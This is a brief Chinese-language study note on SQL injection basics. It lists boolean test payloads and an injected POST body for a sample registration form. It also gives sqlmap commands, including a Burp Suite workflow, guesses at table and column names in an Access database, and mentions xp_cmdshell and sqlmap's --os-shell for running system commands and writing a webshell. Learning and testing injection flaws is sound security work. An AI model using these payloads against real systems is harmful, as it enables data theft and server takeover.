1.1.1-SQL注入-SQL注入基础-SQL注入流程

'
and 1=1 / and 1=2
and '1'='1 / and '1'='2 
and 1 like 1 / and 1 like 2

sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取，然后依次进行测试)

SqlMap --level 增加测试级别，对header中相关参数也进行测试
sqlmap -r filename (filename中为网站请求数据)

BurpSuite + SqlMap
BurpSuite拦截所有浏览器访问提交的数据
BurpSuite扩展插件，直接调用SqlMap进行测试

python sqlmap.py -r 1.txt

http://test.com/register  
POST:  

username=test&email=t@t.com&password=123&password2=123&submit=Register  
username=test&email=t@t.com' and '1' = '1&password=123&password2=123&submit=Register  

web.mdb

select [*] from admin
select [*] from system

select [username] from system
select [name] from system

xp.cmdshell

--os-shell // 执行系统命令 写webshell到网站目录